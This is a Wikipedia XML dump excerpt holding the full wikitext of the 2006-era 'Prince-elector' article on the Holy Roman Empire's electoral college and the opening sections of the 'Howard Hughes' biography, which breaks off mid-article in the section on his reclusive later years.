      <text xml:space="preserve">The '''prince-electors''' or '''electoral princes''' of the [[Holy Roman Empire]] &amp;mdash; [[German language|German]]: '''''Kurfürst''''' ({{Audio|De-Kurfürst-pronunciation.ogg|&lt;small&gt;listen}}&lt;/small&gt; - singular), '''''Kurfürsten''''' (plural) &amp;mdash; were the members of the [[electoral college]] of the Holy Roman Empire, having the function of [[election|electing]] the [[Holy Roman Emperor|Emperors of Germany]]. During and after the [[15th century]] they often merely formalised the [[elective monarchy]] into what was in fact a [[dynasty|dynastic]] [[order of succession|succession]]. Formally, they elected a [[King of the Romans]], who became Holy Roman Emperor only when [[coronation|crowned]] by the [[pope]]. [[Charles V, Holy Roman Emperor|Charles V]] was the last to be actually crowned; all of his successors were merely &quot;Emperors-Elect&quot;. Electors were among the [[prince]]s of the Empire, but they had several privileges (in addition to electoral ones) which were disallowed to their non-electoral brethren. 

For a great part of the Holy Roman Empire's history (at least from the [[13th century]]) there were seven electors, including three spiritual ones &amp;mdash; the [[Archbishopric of Mainz|Archbishop of Mainz]], the [[Archbishopric of Trier|Archbishop of Trier]], and the [[Archbishopric of Cologne|Archbishop of Cologne]] &amp;mdash; and four lay ones &amp;mdash; the [[List of rulers of Bohemia|King of Bohemia]], the [[Palatinate|Count Palatine of the Rhine]], the [[Rulers of Saxony|Duke of Saxony]], and the [[Margrave of Brandenburg]]. (The last three aforementioned are also known as the Elector Palatine, the Elector of Saxony, and the Elector of Brandenburg, respectively.) Other electors, added in the [[17th century]], include the [[List of rulers of Bavaria|Dukes of Bavaria]] (referred to as Electors of Bavaria - replacing the Count Palatine of the Rhine, who was of the same family but had lost his title temporarily during the [[Thirty Year War]]) and the [[Hanover (state)|Dukes of Brunswick-Lüneburg]] (the Electors of Hanover). In [[1803]], several new electors were created, but they never participated in an election, for the Holy Roman Empire was abolished under pressure from [[Napoléon Bonaparte]] on [[August 6]], [[1806]].

==Composition==

The German practice of electing [[monarch]]s began when ancient Germanic tribes formed ''ad hoc'' coalitions and elected the leaders thereof. Elections were irregularly held by the [[Franks]], whose [[successor state]]s include [[France]] and [[Germany]].  The French monarchy eventually became hereditary, but the German monarchy continued to remain elective. While all men originally exercised the right to vote in such elections, suffrage eventually came to be limited to the leading men of the realm. In the election of [[Lothar II, Holy Roman Emperor|Lothar II]] in [[1125]], a small number of eminent [[nobility|noble]]s chose the monarch and then submitted him to the remaining magnates for their approbation. Soon, the right to choose the monarch was settled on an exclusive group of princes, and the procedure of seeking the approval of the remaining nobles was abandoned. The college of electors was mentioned in [[1152]] and again in [[1198]]. A letter of [[Pope Urban IV]] suggests that by &quot;immemorial custom&quot;, seven princes &amp;mdash;
* Three ecclesiastic
**[[Archbishopric of Mainz|Archbishop of Mainz]]
**[[Archbishopric of Trier|Archbishop of Trier]]
**[[Archbishopric of Cologne|Archbishop of Cologne]]
* Four secular
**[[Franconia|Duke of Francony]]
**[[Duke of Swabia]]
**[[Duke of Saxony]]
**[[Duke of Bavaria]]
&amp;mdash; had the right to elect the Emperor. The three Archbishops aforementioned oversaw some of the richest and most powerful [[Episcopal see|see]]s in Europe, while the four Dukes controlled ancient Frankish territory and held important hereditary offices. 

By the thirteenth century, the Frankish and Swabian ducal lines became extinct; their electoral claims passed to the [[Palatinate|Count Palatine of the Rhine]] and the [[Margrave of Brandenburg]]. The Palatinate and Bavaria were originally held by the same individual, but in [[1253]], they were divided between two members of the [[Wittelsbach]] dynasty. The other electors refused to allow two princes from the same dynasty to have electoral rights, so a heated rivalry between the Count Palatine and the Duke of Bavaria arose. Meanwhile, the King of Bohemia, who held the ancient imperial office of Arch-Cupbearer, asserted his right to participate in elections, but was challenged on the grounds that his kingdom was not German. 

Already the [[declaration at Rhense]] in [[1338]] by six electors had the effect that election by all or the majority of the electors automatically conferred the royal title and rule over the empire, without papal confirmation. The [[Golden Bull of 1356]] finally resolved the disputes among the electors; under it, the Archbishops of Mainz, Trier, and Cologne, as well as the King of Bohemia, the Count Palatine, the Duke of Saxony, and the Margrave of Brandenburg held the right to elect the King.

[[Image:The Ratification of the Treaty of Münster (Gerard Terborch 1648).jpg|thumb|300px|right|''The Ratification of the Treaty of Münster'' by Gerard Terborch]]

The college's composition remained unchanged until the 17th century. In [[1621]], the Elector Palatine, [[Frederick V, Elector Palatine|Frederick V]], came under the imperial ban after participating in the Bohemian Revolt (a part of the [[Thirty Years' War]]). The Elector Palatine's seat was conferred on the Duke of Bavaria, the head of a junior branch of his family. Originally, the Duke held the electorate personally, but it was later made hereditary along with the duchy. When the Thirty Years' War concluded with the [[Peace of Westphalia|Treaty of Münster]] (also called the Peace of Westphalia) in [[1648]], a new electorate was created for the Count Palatine of the Rhine. Since the Elector of Bavaria retained his seat, the number of electors increased to eight. 

In [[1692]], as a result of the inheritance of the Palatinate by a Catholic branch of the Wittelsbach family, which threatened to upset the religious balance of the College of Electors, the number of electors was increased to nine, with a seat being granted to the Dukes of Brunswick-Lüneburg, who became known as the Electors of Hanover (the Reichstag officially confirmed the creation in [[1708]]). In [[1706]], the Elector of Bavaria and Archbishop of Cologne were banned during the [[War of the Spanish Succession]], but both were restored in [[1714]] after the [[Peace of Baden]]. In [[1777]], the number of electors was reduced to eight when the Elector Palatine inherited Bavaria.

Many changes to the composition of the college were necessitated by [[Napoleon I of France|Napoleon]]'s aggression during the early 19th century. The [[Treaty of Lunéville]] ([[1801]]), which ceded territory on the [[Rhine]]'s left bank to [[France]], led to the abolition of the archbishoprics of Trier and Cologne, and the transfer of the remaining spiritual Elector from Mainz to [[Regensburg]]. In [[1803]], electorates were created for the Duke of [[Württemberg]], the [[Margrave of Baden]], the [[Landgrave of Hesse-Kassel]], and the [[Duke of Salzburg]], bringing the total number of electors to ten. When [[Austria]] annexed Salzburg under the [[Treaty of Pressburg]] ([[1805]]), the Duke of Salzburg moved to the [[Principality of Würzburg]] and retained his electorate. None of the new electors, however, had an opportunity to cast votes, as the Holy Roman Empire was abolished in [[1806]], and the new electorates were never confirmed by the Emperor.

==Rights and privileges==

Electors were among the rulers of the States of the Empire, but enjoyed precedence over the other princes. They were, until the [[18th century]], exclusively entitled to the style ''Durchlaucht'' (Serene Highness). In [[1742]], the electors became entitled to the superlative ''Durchläuchtigste'' (Most Serene Highness), while other princes were promoted to ''Durchlaucht''.

As rulers of States of the Empire, the electors enjoyed all the privileges of the other princes, including the right to enter into alliances, autonomy in relation to dynastic affairs and precedence over other subjects. The Golden Bull recognised certain additional rights belonging to the electors. For instance, electors were granted a [[monopoly]] over all mines of [[gold]], [[silver]], and other metals within their territories, to tax [[Judaism|Jews]], to collect [[toll]]s, and to mint money; these powers belonged to the Emperor in the other territories, and princes who wrongly assumed them could be deprived of their status. Thus, the electors were among the most powerful princes in the Empire. Electors also enjoyed several judicial powers within their territories. Their subjects could be not be tried in the imperial courts, and appeal from their courts lay only in cases where denial of justice was claimed. 

After the abolition of the Holy Roman Empire in [[August]] of [[1806]], the electors continued to reign over their territories, many of them taking higher titles. The Dukes of Bavaria, Württemberg, and Saxony made themselves Kings, as did the Duke of Brunswick-Lüneburg, who was already [[George III of the United Kingdom|King of Great Britain]]; meanwhile, the Margrave of Baden elevated himself to the [[Grand Duke|Grand-Ducal]] dignity. The Landgrave of Hesse-Kassel, however, retained the meaningless title &quot;Elector of Hesse&quot;, thus distinguishing himself from other Hessian princes (the Grand Duke of Hesse-Darmstadt and the Landgrave of Hesse-Homburg). In [[1866]], however, the Elector of Hesse was dethroned under [[Otto von Bismarck]]'s plan for [[German Empire|German Unification]].

==Reichstag==

The electors, like the other princes ruling States of the Empire, were members of the Reichstag, which was divided into three ''collegia'': the Council of Electors, the Council of Princes, and the Council of Cities. In addition to being members of the Council of Electors, several lay electors were therefore members of the Council of Princes as well by virtue of other territories they possessed. In many cases, the lay electors ruled numerous States of the Empire, and therefore held several votes in the Council of Princes. In [[1792]], the King of Bohemia held three votes, the Elector of Bavaria six votes, the Elector of Brandenburg eight votes, and the Elector of Hanover six votes. Thus, of the hundred votes in the [[List of Reichstag participants (1792)|Council of Princes in 1792]], twenty-three belonged to electors. The lay electors therefore exercised considerable influence, being members of the small Council of Electors and holding a significant number of votes in the Council of Princes. The assent of both bodies was required for important decisions affecting the structure of the Empire, such as the creation of new electorates or States of the Empire.

In addition to voting by colleges or councils, the Reichstag also voted on religious lines, as provided for by the Peace of Westphalia. The Archbishop of Mainz presided over the [[Roman Catholicism|Catholic]] body, or ''corpus catholicorum'', while the Elector of Saxony presided over the [[Protestantism|Protestant]] body, or ''corpus evangelicorum''. The division into religious bodies was on the basis of the official religion of the state, and not of its rulers. Thus, even when the Electors of Saxony were Catholics during the eighteenth century, they continued to preside over the ''corpus evangelicorum'', since the state of Saxony was officially Protestant.

==Elections==

[[Image:Balduineum Wahl Heinrich VII.jpg|thumb|left|350px|Illustration of electors deliberating (left to right: Arcibishop of Cologne, Arcibishop of Mainz, Arcibishop of Trier, Count Palatine, Duke of Saxony, Margrave of Brandenburg and King of Bohemia)]]
The individual chosen by the electors assumed title &quot;King of the Romans&quot;, though he actually reigned in Germany and Austria. The King of the Romans became Holy Roman Emperor only when crowned by the pope. On many occasions, a pope refused to crown a king with whom he was engaged in a dispute, but a lack of a papal coronation deprived a king of only the title Emperor and not of the power to govern. The [[Habsburg]] dynasty stopped the practice of papal coronations. Since [[Charles V, Holy Roman Emperor|Charles V]], all individuals chosen by the electors were merely &quot;Emperors-Elect&quot;.

The electors were originally summoned by the Archbishop of Mainz within one month of an Emperor's death, and met within three months of being summoned. During the ''interregnum'', imperial power was exercised by two imperial [[vicar]]s. Each vicar, in the words of the Golden Bull, was &quot;the administrator of the empire itself, with the power of passing judgments, of presenting to ecclesiastical benefices, of collecting returns and revenues and investing with fiefs, of receiving oaths of fealty for and in the name of the holy empire&quot;. The Elector of Saxony was vicar in areas operating under Saxon law ([[Saxony]], [[Westphalia]], [[Hanover (state)|Hanover]], and northern Germany), while the Elector Palatine was vicar in the remainder of the Empire ([[Franconia]], [[Swabia]], the [[Rhine]], and southern Germany). The Elector of Bavaria replaced the Elector Palatine in [[1623]], but when the latter was granted a new electorate in [[1648]], there was a dispute between the two as to which was vicar. In [[1659]], both purported to act as vicar, but the other vicar recognised the Elector of Bavaria. Later, the two electors made a pact to act as joint vicars, but the Reichstag rejected the agreement. In [[1711]], while the Elector of Bavaria was under the ban of the Empire, the Elector Palatine again acted as vicar, but his cousin was restored to his position upon his restoration three years later.  Finally, in [[1745]], the two agreed to alternate as vicars, with Bavaria starting first. This arrangement was upheld by the Reichstag in [[1752]].  In [[1777]] the question became moot when the Elector Palatine inherited Bavaria.  On many occasions, however, there was no interregnum, as a new king had been elected during the lifetime of the previous Emperor.

[[Frankfurt, Germany|Frankfurt]] has regularly served as the site of the election since the fifteenth century, but elections have also been held at [[Cologne]] ([[1531]]), [[Regensburg]] ([[1575]] and [[1636]]), and [[Augsburg]] ([[1653]] and [[1690]]). An elector could appear in person or could appoint another elector his proxy. More often, an electoral suite or embassy was sent to cast the vote; the credentials of such representatives were verified by the Archbishop of Mainz, who presided over the ceremony. The deliberations were held at the city hall, but voting occurred in the cathedral. In Frankfurt, a special electoral chapel, or ''Wahlkapelle'', was used for elections. Under the Golden Bull, a majority of electors sufficed to elect a king, and each elector could cast only one vote. Electors were free to vote for whomsoever they pleased (including themselves), but dynastic considerations played a great part in the choice. Electors drafted a ''Wahlkapitulation'', or electoral capitulation, which was presented to the king-elect. The capitulation may be described as a contract between the princes and the king, the latter conceding rights and powers to the electors and other princes. Once an individual swore to abide by the electoral capitulation, he assumed the office of King of the Romans.

In the [[10th century|10th]] and [[11th century|11th centuries]], electors often acted merely to confirm hereditary succession in the Saxonian, Franconian, and [[Hohenstaufen|Staufen]] dynasties. After these lines ended in extinction, the electors began to elect kings from different families so that the throne would not once again settle within a single dynasty. For a short time, the monarchy was elective both in theory and in practice; the arrangement, however, did not last, since the powerful House of Habsburg managed to secure succession within their dynasty during the fifteenth century. The Habsburg Archdukes of Austria (and later Kings of Hungary and Bohemia) were all elected kings from [[1438]] until [[1740]], when the archduchy was inherited by a woman, [[Maria Theresa of Austria|Maria Theresa]]. The House of Wittelsbach came to power for a short period of time, but in [[1745]], Maria Theresa's husband, [[Francis I, Holy Roman Emperor|Francis I]] of the Habsburg-Lorraine dynasty, became King; all of his successors were also from the same family. Hence, for the greater part of the Empire's history, the role of the electors was largely ceremonial.

==High Offices==

[[Image:Bavaria arms.jpg|thumb|250px|The Arms of [[Maximilian I, Elector of Bavaria|Maximilian, Duke of Bavaria]], Arch-Steward and Prince-Elector]]
Each elector held a &quot;High Office of the Empire&quot; and was a member of the (ceremonial) [[Imperial Household]]. The three spiritual electors were all [[Arch-Chancellors]]: the [[Archbishop of Mainz]] was [[Arch-Chancellor of Germany]], the [[Archbishop of Trier]] was [[Arch-Chancellor of Burgundy]], and the [[Archbishop of Cologne]] was [[Arch-Chancellor of Italy]]. The [[King of Bohemia]] held the office of the [[Arch-Cupbearer]], the [[Elector Palatine]] that of [[Arch-Steward]], the [[Elector of Saxony]] that of [[Arch-Marshal]], and the [[Elector of Brandenburg]] that of [[Arch-Chamberlain]]. When the [[Duke of Bavaria]] replaced the Elector Palatine in [[1623]], he assumed the latter's office of Arch-Steward. When the Count Palatine was granted a new electorate, he assumed the position of [[Arch-Treasurer of the Empire]]. When the Duke of Bavaria was banned in [[1706]], the Elector Palatine returned to the office of Arch-Steward, and in [[1710]] the Elector of Hanover was promoted to the post of Arch-Treasurer. Matters were complicated by the Duke of Bavaria's restoration in [[1714]]; the Elector of Bavaria resumed the office of Arch-Steward, while the Elector Palatine returned to the post of Arch-Treasurer. The Electors of Hanover, however, continued to be styled Arch-Treasuers, though the Elector Palatine was the one who actually exercised the office until [[1777]], when he inherited Bavaria and the Arch-Stewardship. After 1777, no further changes were made to the Imperial Household; new offices were planned for the Electors admitted in [[1803]], but the Empire was abolished before they could be created.

Many High Officers were entitled to use &quot;augmentations&quot; on their [[heraldry|coats of arms]]; these augmentations, which were special marks of honour, appeared in the centre of the electors' shields (as shown in the image on the right) above the other charges (in heraldic terms, the augmentations appeared in the form of inescutcheons). The Arch-Steward used ''gules an orb Or'' (a gold orb on a red field &amp;mdash; illustrated on the right). The Arch-Marshal utilised the more complicated ''per fess sable and argent, two swords per saltire gules'' (two red swords arranged in the form of a [[saltire]], on a black and white field). The Arch-Chamberlain's augmentation was ''azure a sceptre per pale Or'' (a gold sceptre on a blue field), while the Arch-Treasurer's was ''gules the crown of Charlemagne Or'' (a gold crown on a red field). As noted above, the Elector Palatine and the Elector of Hanover styled themselves Arch-Treasurer from [[1714]] until [[1777]]; during this time, both electors used the corresponding augmentations. The three Arch-Chancellors and the Arch-Cupbearer did not use any augmentations.

The electors discharged the ceremonial duties associated with their offices only during coronations, where they bore the crown and regalia of the Empire. Otherwise, they were represented by holders of corresponding &quot;[[Hereditary Offices of the Household]]&quot;. The Arch-Cupbearer was represented by the [[Cupbearer]] (the [[Count of Althann]]), the Arch-Steward by the [[Steward]] (the [[Count of Waldburg]]), the Arch-Chamberlain by the [[Chamberlain]] (the [[Count of Hohenzollern]]), the Arch-Marshal by the [[Marshal]] (the [[Count of Pappenheim]]), and the Arch-Treasurer by the [[Treasurer]] (the [[Count of Sinzendorf]]).

==See also==

* [[Polish-Lithuanian Commonwealth]], another contemporaraneous elective monarchy

==References==

*Bryce, J. (1887). ''The Holy Roman Empire,'' 8th ed. New York: Macmillan. 
*&quot;Germany.&quot; (1911). ''Encyclopædia Britannica,'' 11th ed. London: Cambridge University Press.

==External links==

*[http://www.yale.edu/lawweb/avalon/medieval/golden.htm The Avalon Project. (2003). &quot;The Golden Bull of the Emperor Charles IV 1356 A.D.&quot;]
*[http://www.heraldica.org/topics/national/reichsstande.htm Oestreich, G. and Holzer, E. (1973). &quot;Übersicht über die Reichsstände.&quot; In Gebhardt, Bruno. ''Handbuch der Deutschen Geschichte,'' 9th ed. (Vol. 2, pp. 769-784). Stuttgart: Ernst Ketler Verlag.]
*[http://www.heraldica.org/topics/royalty/royalstyle.htm Velde, F. R. (2003). &quot;Royal Styles.&quot;]
*[http://www.heraldica.org/topics/national/hre.htm Velde, F. R. (2004). &quot;The Holy Roman Empire.&quot;]

[[Category:Titles]]
[[Category:Holy Roman Empire]]
[[Category:Princes|*]]

[[bg:Курфюрст]]
[[cs:Kurfiřt]]
[[da:Kurfyrste]]
[[de:Kurfürst]]
[[es:Príncipe elector]]
[[eo:Princo-elektisto]]
[[fa:امرای انتخاباتی]]
[[fr:Prince-Électeur]]
[[is:Kjörfursti]]
[[it:Principe elettore]]
[[nl:Keurvorst]]
[[ja:選帝侯]]
[[no:Kurfyrste]]
[[pl:Elektorzy Rzeszy]]
[[pt:Príncipe-eleitor]]
[[ru:Курфюрст]]
[[sk:Kurfirst]]
[[sv:Kurfurste]]
[[uk:Курфюрст]]
[[zh:选帝侯]]
{{featured article}}</text>
    </revision>
  </page>
  <page>
    <title>Howard Hughes</title>
    <id>14059</id>
    <revision>
      <id>42150952</id>
      <timestamp>2006-03-04T03:51:47Z</timestamp>
      <contributor>
        <username>Check-Six</username>
        <id>667312</id>
      </contributor>
      <minor />
      <comment>Air crash &quot;tune-up&quot;</comment>
      <text xml:space="preserve">{{Infobox_Biography
|subject_name=Howard Robard Hughes, Jr.
|image_name=Hughes11.jpg
|image_caption=
|dead=dead
|date_of_birth=[[December 24]], [[1905]]
|place_of_birth=[[Houston, Texas|Houston]], [[Texas]], [[USA]]
|date_of_death=[[April 5]], [[1976]]
|place_of_death=Houston, Texas
}}
{{otherpeople|Howard Hughes}}
'''Howard Robard Hughes Jr.''' ([[December 24]], [[1905]]&amp;nbsp;&amp;ndash; [[April 5]], [[1976]]) was at times an [[aviator]], an [[engineer]], an [[industrialist]], a [[movie producer]], a [[playboy (disambiguation)|playboy]], an [[eccentricity (behaviour)|eccentric]] and one of the wealthiest people in the world.  He is famous for building the Hercules airplane, commonly known as the [[Spruce Goose]], and for his debilitating eccentric behavior later in life.

==Birth==
Hughes was born in [[Houston, Texas|Houston]], [[Texas]], [[United States|USA]], on [[December 24]], [[1905]] although the precise date of his birth is doubted by some biographers.  His parents were Allene Gano Hughes and [[Howard R. Hughes Sr.]], who invented the [[Drill bit#Oil and Gas well drilling bits|dual cone roller bit]], which allowed rotary drilling for oil in previously inaccessible places. He founded [[Hughes Tool Company]] to commercialize this invention. His parents died while he was still in his teens, and he inherited a substantial part of his father's fortune.[http://history1900s.about.com/od/peoplewhomadeanimpact/p/howardhughes.htm]

==Education==
As a teenager, Hughes declared that his goals in life were to become the world's best [[golf|golfer]], the world's best [[Aviator|pilot]], and the world's best [[film|movie]] producer. Despite attending many good schools, he never earned a diploma. He attended the [[Fessenden School]] in [[Newton, Massachusetts|West Newton, Massachusetts]] (near Boston), and the [[Thacher School]] in [[Ojai, California|Ojai]], [[California]]. His father subsequently arranged for him to audit math and engineering classes at the [[California Institute of Technology]]. He then enrolled at the Rice Institute (later known as [[Rice University]]).

==Hollywood==
Hughes used his fortune to become a [[movie producer]]. He was at first dismissed by Hollywood insiders as a rich man's son.  However, his first two films released in 1927, ''[[Everybody's Acting]]'' and ''[[Two Arabian Knights]]'' were financial successes, the latter winning an Academy Award for Best Director of a Comedy Picture. ''[[The Racket]]'' in 1928 and ''[[The Front Page]]'' in 1931 were nominated for [[Academy Award]]s. He spent a then-unheard-of $4 million of his own money to make ''[[Hell's Angels (film)|Hell's Angels]]'', which he wrote and directed and which became a smash hit, along with his 1932 film ''[[Scarface (1932 film)|Scarface]]'' (which he produced). Hughes's best-known film may be ''[[The Outlaw]]'' starring [[Jane Russell]], for whom Hughes designed a special [[Brassiere|brassière]].  ''Scarface'' and ''The Outlaw'' received attention from industry censors; ''Scarface'' for its violence, ''The Outlaw'' for Russell's physical charms. He signed an unknown actor [[David Bacon]] in 1942 to play [[Billy The Kid]]. He later replaced Bacon with [[Jack Buetel]], who he had turned to sexually according to [[Cubby Broccoli]] and [[Lucien Ballard]], both of whom worked on ''The Outlaw''.  Bacon's murder the following year sparked an investigation which brought to light allegations of a sexual affair between Bacon and Hughes which may have indirectly led to Bacon's death. [[Greta Keller]], Vienna-born cabaret singer and actress and Bacon's widow, claimed later that Bacon wanted to get out of his contract with Hughes and had been prepared to reveal intimate details about their relationship in order to secure a release from the studio.

Hughes was a notorious ladies' man, and allegedly had affairs with many famous women including [[Katharine Hepburn]], [[Bette Davis]], [[Gene Tierney]], and [[Ava Gardner]]. [[Bessie Love]] was a mistress during his first marriage. [[Jean Harlow]] accompanied him to the premiere of ''Hell's Angels,'' although it's uncertain if they were an item. Less-significant affairs are rumored to have occurred between Hughes and a long list of celebrities.

==Aviator and engineer==
Hughes was a lifelong aircraft enthusiast, pilot, and self-taught aircraft engineer. He set many world records, and designed and built several [[aircraft]] himself while heading [[Hughes Aircraft]].  The most important aircraft he designed was the [[Hughes H-1 Racer]]. On [[September 13]], [[1935]], Hughes, flying the H-1, set the world speed record of 352 mph (588 km/h) over his test course near Santa Ana, California. (The previous record was 314 mph (502 km/h). A year and a half later ([[January 19]], [[1937]]), flying a somewhat re-designed H-1 Racer, Hughes set a new trans-continental speed record by flying non-stop from [[Los Angeles, California|Los Angeles]] to [[New York City]] in 7 hours, 28 minutes and 25 seconds (beating his own previous record of 9 hours, 27 minutes). His average speed over the flight was 322 mph  (515 km/h). [http://www.centennialofflight.gov/essay/Explorers_Record_Setters_and_Daredevils/Hughes/EX28.htm]

The H-1 Racer featured a number of design innovations: It had retractable landing gear and all rivets and joints set flush into the body of the plane, to reduce drag. The H-1 Racer influenced the design of a number of World War II fighter airplanes such as the [[Mitsubishi Zero]], the [[Focke-Wulf Fw 190|Focke-Wulf FW190]], and the [[F6F Hellcat]].[http://www.wrightools.com/hughes/h1_history.htm (see Wright Tools web site.)]  The H-1 Racer was donated to the [[Smithsonian Institution|Smithsonian]] in 1975 and is on display at the [[National Air and Space Museum]].

On [[July 10]], [[1938]] Hughes set another record by completing a flight around the world in just 91 hours (3 days, 19 hours), beating the previous record by more than four days. For this flight he did not fly a plane of his own design but a [[Lockheed Model 14 Super Electra|Lockheed Super Electra]] (a twin engine plane with a four man crew). 

In 1938, the [[William P. Hobby Airport]] in [[Houston, Texas|Houston]], Texas, known at the time as Houston Municipal Airport, was re-named &quot;Howard Hughes Airport,&quot; but the name was changed back after people objected to naming the airport after a living person.  

Hughes received many awards as an aviator, including the [[Harmon Trophy]] in 1936 and 1938, the [[Collier Trophy]] in 1939, the [[Octave Chanute Award]] in 1940, and a special Congressional medal for his round-the-world flight. According to his obituary in the New York Times, he never bothered to come to Washington to pick up the medal, and it was eventually mailed to him by President Harry S. Truman.

[[Image:Xf11 usaf.jpg|thumb|left|The second [[XF-11]] prototype (with conventional propellers).]]
In 1938, [[William John Frye]], a former Hollywood stunt flier and the first director of operations of Transcontinental and Western Air (T&amp;WA), put in an order for the new 33-passenger [[Boeing 307]] Stratoliner, the first commercial plane with a pressurized passenger cabin. He convinced Hughes, also enamored of avant-garde aircraft technology, to finance this purchase. By doing so, Hughes became the principal stockholder of T&amp;WA in April 1939. Throughout the 1940s and into the 1950s, T&amp;WA (which became [[Trans World Airlines]]) continued to bet on the most advanced planes available, largely due to Hughes' own interest in aircraft development. In particular, Hughes helped specify the design of the [[Lockheed Constellation]], with its pressurized cabin and distinctive tail, buying several planes for TWA in order to be able to fly high altitude (20,000 ft/6600 m) long distance routes above the turbulence of low altitude weather. The airline would grow significantly under his leadership.
[[Image:H-4 Hercules 2.jpg|thumb|The [[Spruce Goose|H-4 Hercules]] with Hughes at the controls.]] 

==Air crash==
Hughes was involved in a near-fatal aircraft accident on [[July 7]], [[1946]], while piloting the experimental [[U.S. Army]] spy plane [[XF-11]] over [[Los Angeles]]. An oil leak caused one of the counter-rotating propellers to reverse its pitch, making the plane yaw sharply.  Hughes tried to save the craft by landing it on the [[Los Angeles Country Club]] [[golf course]], but seconds before he reached his attempted destination the plane started dropping dramatically and [http://www.check-six.com/Crash_Sites/XF-11_crash_site.htm crashed] in the [[Beverly Hills, California|Beverly Hills]] neighborhood surrounding the country club. When the plane finally skidded to a halt after mowing down three houses, the fuel tanks exploded, setting fire to the plane and a nearby home. Hughes lay wounded beside the burning airplane until he was rescued by  [[United States Marine Corps|Marine]] [[master sergeant]] [[William L. Durkin]] who happened to be in the area visiting nearby friends. The injuries Hughes sustained in the crash&amp;nbsp;&amp;mdash; including a crushed [[collar bone]], six broken [[ribs]] and numerous third-degree [[burn (injury)|burn]]s&amp;nbsp;&amp;mdash; affected him for the rest of his life. Many attribute his long-term addiction to [[opioid|opiates]] to his use of [[morphine]] as a painkiller during his convalescence, during which he developed refinements to his hospital bed. The trademark [[mustache]] he wore afterwards was meant to cover a scar on his upper lip resulting from the accident.

==Spruce Goose==
One of his greatest endeavors was the H-4 Hercules, nicknamed the [[Spruce Goose]] (although its frame was built predominantly of birch), a massive flying boat completed just after the end of [[World War II]]. The Hercules flew only once (with Hughes at the controls) on [[November 2]], [[1947]]. The plane was originally commissioned by the U.S. government for use in [[World War II]], but was not completed until after the war. Hughes was called to testify before the [[Senate War Investigating Committee]] to explain why the plane had not been delivered to the [[United States Army Air Forces]] during the war, but the committee disbanded without releasing a final report. Because the U.S. government denied him the use of aircraft aluminum, which had been rationed, Hughes built the plane largely from birch in his [[Westchester, California|Westchester]], California facility to fulfill his contract.  The plane was on display alongside [[RMS Queen Mary|RMS ''Queen Mary'']] in [[Long Beach, California|Long Beach]], California for many years before being moved to [[McMinnville, Oregon|McMinnville]], [[Oregon]], where it is now part of the [[Evergreen Aviation Museum]].

==RKO==
Hughes acquired [[RKO]] in 1948, a struggling major Hollywood studio. He interfered with production and even shut down shooting for weeks or months.  RKO was sold in 1955 to Desilu Productions.
[[Image:Hughes_hac.jpg|right|100px]]
After the war, Hughes fashioned his company Hughes Aircraft into a major defense contractor. Portions of the company wound up with [[McDonnell Douglas]], and eventually Boeing when those two companies merged. The remainder of Hughes Aircraft was sold to [[Raytheon]] in 1998.

==Howard Hughes Medical Institute==
In 1953, Hughes launched the [[Howard Hughes Medical Institute]] in [[Delaware]], formed with the express goal of basic biomedical research including trying to understand, in Hughes' words, the &quot;genesis of life itself.&quot;  It was viewed by many as a tax haven for his wealth: Hughes gave all his stock of the Hughes Aircraft Company to the institute, thereby turning the defense contractor into a tax-exempt charity. The deal was the topic of a protracted legal battle between Hughes and the [[Internal Revenue Service]] which Hughes ultimately won.  After his death in 1976, many thought that the balance of Hughes' estate would go to the institute, although it ultimately was divided among his cousins and other heirs, given the lack of a will to the contrary. It is America's second largest private foundation and the largest devoted to [[biology|biological]] and [[medicine|medical]] research with a 2004 [[Financial endowment|endowment]] of $12.4 billion.

On [[January 12]], [[1957]], Hughes married [[actress]] [[Jean Peters]]; they divorced in 1971. 

Shortly before the [[US presidential election, 1960|1960 Presidential election]], [[Richard Nixon]] was harmed by revelations of a $205,000 loan from Hughes to Nixon's brother that was never repaid. &lt;!-- fix passive voice --&gt;

[[Hughes Space and Communications]] was founded in 1961. In the same year, TWA's management sued its chairman Hughes because of differences in running the company; he was forced to sell his stock in TWA in 1966 for more than $500 million. During the [[1970s]], Hughes went back into the airline business, buying airline [[Air West]] and renaming it [[Hughes Airwest]].

==Glomar Explorer==
In 1972, Hughes was approached by the [[Central Intelligence Agency|CIA]] to help secretly recover a [[Soviet Union|Soviet]] [[submarine]] which had sunk near [[Hawaii]] four years before. He agreed. Thus the [[Hughes Glomar Explorer|''Glomar Explorer'']], a special-purpose salvage vessel, was born. Hughes' involvement provided the CIA with a plausible cover story, having to do with civilian marine research at extreme depths, and the mining of undersea [[manganese nodule]]s. 

In the summer of 1974 ''Glomar Explorer'' attempted to raise the Soviet vessel.  But during the recovery a mechanical failure in the ship's grapple caused half of the submarine to break off and fall to the ocean floor. This section is believed to have held many of the most sought after items, including its code book and nuclear missiles. Two nuclear-tipped torpedoes and some cryptographic machines were recovered, along with the bodies of six Soviet [[submariner]]s who were subsequently given formal burial at sea in a filmed ceremony.  The operation, known as [[Project Jennifer]], became public in February 1975 because burglars had obtained secret documents from Hughes' headquarters in June 1974.

==Recluse==
By the late 1950s, if not earlier, Hughes developed debilitating symptoms of [[obsessive-compulsive disorder]] (OCD). Once one of the most visible men in America, he ultimately vanished from public view altogether, although the tabloids continued to follow rumors regarding his behavior and whereabouts. He was reported at different times to be terminally ill, mentally unstable, or possibly dead. 

Hughes had displayed symptoms consistent with OCD his entire life: In the 1930s, close friends reported he was obsessed with the size of [[pea]]s&amp;nbsp;&amp;mdash; one of his favorite foods&amp;nbsp;&amp;mdash; and used a special fork to sort them by size before he ate. While producing ''The Outlaw'', Hughes became absorbed by a minor flaw in one of [[Jane Russell]]'s blouses, claiming that the fabric bunched up along a seam and gave the appearance of two [[nipple]]s on each of Russell's breasts. He was reportedly so concerned by the matter as to write a detailed memorandum to the film crew on how to fix the problem. 

Hughes eventually became a complete recluse, locking himself away in darkened rooms in a drug-induced daze. Though he always kept a [[barber]] on call, Hughes only had his hair cut and nails trimmed about once a year. Several doctors were kept in the house on a substantial salary, though Hughes rarely saw them and usually refused to follow their advice. Toward the end of his life, his inner circle was largely composed of [[Mormon]]s because he considered them trustworthy&amp;nbsp;&amp;mdash; even though he was not a member of the [[Latter Day Saint movement]].[http://www.paulrich.net/papers/mormon2.html]

